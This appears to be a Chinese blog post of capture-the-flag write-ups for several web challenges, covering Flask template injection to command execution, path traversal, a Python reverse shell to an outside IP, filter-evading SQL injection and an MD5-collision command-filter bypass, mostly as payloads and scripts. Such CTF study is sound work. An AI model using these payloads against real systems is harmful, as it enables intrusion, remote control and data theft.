python 类有多继承特性,如果继承关系太复杂,很难看出会先调用那个属性或方法。为了方便且快速地看清继承关系和顺序,可以用__mro__方法来获取这个类的调用顺序:

?search={{self.__class__.__mro__}}

看到object,查看

/?search={{self.__class__.__mro__[1]}}

查看方法:

?search={{self.__class__.__mro__[1].__subclasses__()}}

查找类Popen用于命令执行,关于Popen

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import requests
import re
import html
import time

index = 0
for i in range(170, 1000):
try:
url = "url/?search={{self.__class__.__mro__.__subclasses__()[" + str(i) + "]}}"
r = requests.get(url)
res = re.findall("<h2>You searched for:<\/h2>\W+<h3>(.*)<\/h3>", r.text)
time.sleep(0.1)
res = html.unescape(res[0])
print(str(i) + " | " + res)
if "subprocess.Popen" in res:
index = i
break
except:
continue
print("indexo of subprocess.Popen:" + str(index))

利用Popen进行命令执行:

?search={{self.__class__.__mro__[1].__subclasses__()[258]('ls',shell=True,stdout=-1).communicate()[0]}}

根据标题提示查看flashlight:

?search={{self.__class__.__mro__[1].__subclasses__()[258]('ls flasklight',shell=True,stdout=-1).communicate()[0]}}

读取:

?search={{self.__class__.__mro__[1].__subclasses__()[258]('cat flasklight/coomme_geeeett_youur_flek',shell=True,stdout=-1).communicate()[0]}}

[b01lers2020]Welcome to Earth

自动跳转/die/界面,抓包

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23

document.onkeydown = function(event) {
event = event || window.event;
if (event.keyCode == 27) {
event.preventDefault();
window.location = "/chase/";
} else die();
};

function sleep(ms) {
return new Promise(resolve => setTimeout(resolve, ms));
}

async function dietimer() {
await sleep(10000);
die();
}

function die() {
window.location = "/die/";
}

dietimer();

查看chase界面:

1
2
3
function leftt() {
window.location = "/leftt/";
}

然后leftt界面:

<!-- <button onClick="window.location='/shoot/'">Take the shot</button> -->

shoot界面:

<button onClick="window.location='/door/'">

door界面:

<script src="/static/js/door.js">

/static/js/door.js界面:

if (rand == guess) window.location = "/open/";

open界面:

1
2
3
4
<script src="/static/js/open_sesame.js">
<script>
open(0);
</script>

/static/js/open_sesame.js:

1
2
3
4
5
6
7
8
9
10
function sleep(ms) {
return new Promise(resolve => setTimeout(resolve, ms));
}

function open(i) {
sleep(1).then(() => {
open(i + 1);
});
if (i == 4000000000) window.location = "/fight/";
}

fight界面:

1
2
<script src="/static/js/fight.js"></script>
<button onClick="check_action()">

/static/js/fight.js:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
// Run to scramble original flag
//console.log(scramble(flag, action));
function scramble(flag, key) {
for (var i = 0; i < key.length; i++) {
let n = key.charCodeAt(i) % flag.length;
let temp = flag[i];
flag[i] = flag[n];
flag[n] = temp;
}
return flag;
}

function check_action() {
var action = document.getElementById("action").value;
var flag = ["{hey", "_boy", "aaaa", "s_im", "ck!}", "_baa", "aaaa", "pctf"];

// TODO: unscramble function
}

document.getElementById(“ “) 得到的是一个对象,用 alert 显示得到的是“ object ”,而不是具体的值,它有 value 和 length 等属性,加上 .value 得到的才是具体的值

关于document.getElementById

直接靠猜测拼接:

1
2
3
4
5
6
7
8
9
from itertools import permutations

flag = ["{hey", "_boy", "aaaa", "s_im", "ck!}", "_baa", "aaaa", "pctf"]
item = permutations(flag)
for a in item:
k = ''.join(list(a))

if k.startswith('pctf{hey_boys') and k[-1] == '}':
print(k)

[网鼎杯 2020 白虎组]PicDown

输入的参数可以通过目录穿越进行任意文件读取

尝试?url=../../../../etc/passwd

下载得到一个图片,使用010打开,是passwd文件的内容

当前进程命令读取:

?url=../../../../../proc/slef/cmdline

python2 app.py

于是直接读取到当前目录下的app.py文件的源码:

?url=app.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
from flask import Flask, Response
from flask import render_template
from flask import request
import os
import urllib

app = Flask(__name__)

SECRET_FILE = "/tmp/secret.txt"
f = open(SECRET_FILE)
SECRET_KEY = f.read().strip()
os.remove(SECRET_FILE)


@app.route('/')
def index():
return render_template('search.html')


@app.route('/page')
def page():
url = request.args.get("url")
try:
if not url.lower().startswith("file"):
res = urllib.urlopen(url)
value = res.read()
response = Response(value, mimetype='application/octet-stream')
response.headers['Content-Disposition'] = 'attachment; filename=beautiful.jpg'
return response
else:
value = "HACK ERROR!"
except:
value = "SOMETHING WRONG!"
return render_template('search.html', res=value)


@app.route('/no_one_know_the_manager')
def manager():
key = request.args.get("key")
print(SECRET_KEY)
if key == SECRET_KEY:
shell = request.args.get("shell")
os.system(shell)
res = "ok"
else:
res = "Wrong Key!"

return res


if __name__ == '__main__':
app.run(host='0.0.0.0', port=8080)

服务器进行监听:

nc -lvp 8000

反弹shell:

1
?key=nH2%2ByEJiQv4IP0oS%2FwkoMvSl%2Be59CDR%2FUyV2BlOy9l8%3D&shell=python%20-c%20%22import%20os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('174.1.99.145',8000));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(%5B'/bin/bash','-i'%5D);%22

[RootersCTF2019]I_<3_Flask

没有一点头绪,页面源码,抓包都没有,也没有源码泄露(buu也扫不了),找到个检测参数的工具:arjun,虽然更新过版本了,但页面有说明书:

下载解压,命令台打开文件夹,运行setup.py进行下载:

\conv\Arjun>py setup.py install

直接使用命令:

conv\Arjun>arjun -u http://9af0b963-1c21-4018-9698-326ce1596251.node4.buuoj.cn:81/ -m GET -c 200 -d 5

因为平台防d,所以需要限制块和访问速度(参数-c和-d

1
2
3
4
5
Probing the target for stability
Analysing HTTP response for anamolies
Analysing HTTP response for potential parameter names
Logicforcing the URL endpoint
name: name, factor: body length

得到有get参数name,传入/?name={{4-1}}

页面得到3,ssti模板注入

查看目录:

{{().__class__.__bases__[0].__subclasses__()[182].__init__.__globals__.__builtins__['eval']("__import__('os').popen('ls').read()")}}

读取flag文件:

{{().__class__.__bases__[0].__subclasses__()[182].__init__.__globals__.__builtins__['eval']("__import__('os').popen('cat flag.txt').read()")}}

[SWPU2019]Web1

登录界面,先注册账号登录上去看看,发现有个广告申请,输入1',发现广告名存在注入

过滤词:

or,and,extractvalue,updatexml,空格,information,#,--

通过联合注入查询得到

1
-1'/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'

联合查询查到库名为web1

1
-1'/**/union/**/select/**/1,database() ,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/'

information被过滤,因此使用表mysql.innodb_table_stats查当前库下的的表名:

1
-1'/**/union/**/select/**/1,(select/**/group_concat(table_name)from/**/mysql.innodb_table_stats/**/where/**/database_name="web1") ,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/'

得到表名:adsusers

(附:也可以直接将database()放到database_name=之后,可以省去查询库名的时间)

无列名注入查询:

1
-1'/**/union/**/select/**/1, (select/**/group_concat(`3`)/**/from(select/**/1,2,3/**/union/**/select*from/**/users)x),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/'

将一个sql语句的执行结果作为另一个查询的查询对象(将语句括起来,并在括号之后加一个字母,该字母作为这段sql语句的代号),sql语句:

1
select 1,2,3 union select * from users;

执行之后会得到一个新表,以表user表为基础,字段为1,2,3,第一行数据也是1,2,3,从第二行开始则是联合查询的表的内容
result

此时查询这个新表三个字段就将得到user的所有内容(附:一般表名,表字段是数字作为开头的字符串时需要在名字两端加上反引号)
result

先测试得出user表有三个字段,接着便可读出结果,这样就无需查询列名

[安洵杯 2019]easyweb

(2021-9-28)
打开看见GET参数img的值是一个:

TXpVek5UTTFNbVUzTURabE5qYz0

base64解密一次发现末尾有个'=',盲猜还能再解密一次,得到:

3535352e706e67
秒解个16进制转字符串(hex2bin

那么将字符串index.php以相同的方式进行逆向转换:

TmprMlpUWTBOalUzT0RKbE56QTJPRGN3

得到,解码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd']))
header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));

$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {
echo '<img src ="./ctf3.jpeg">';
die("xixi~ no flag");
} else {
$txt = base64_encode(file_get_contents($file));
echo "<img src='data:image/gif;base64," . $txt . "'></img>";
echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
echo("forbid ~");
echo "<br>";
} else {
if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
echo `$cmd`;
} else {
echo ("md5 is funny ~");
}
}

强制类型转换为字符串,通过骚姿势,居然能让两个不同字符串的MD5值相等,绕过强类型对比,等我研究一下,这玩意儿怎么绕过的(没研究出来/狗头)

POST:

a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

然后通过反斜杠就能绕过那些字符串进行命令执行:

GET:?cmd=l\s%20/

查到根目录下flag

GET:?cmd=ca\t%20/flag

Edited on

Give me a cup of [coffee]~( ̄▽ ̄)~*

muhua WeChat Pay

WeChat Pay

muhua Alipay

Alipay

muhua PayPal

PayPal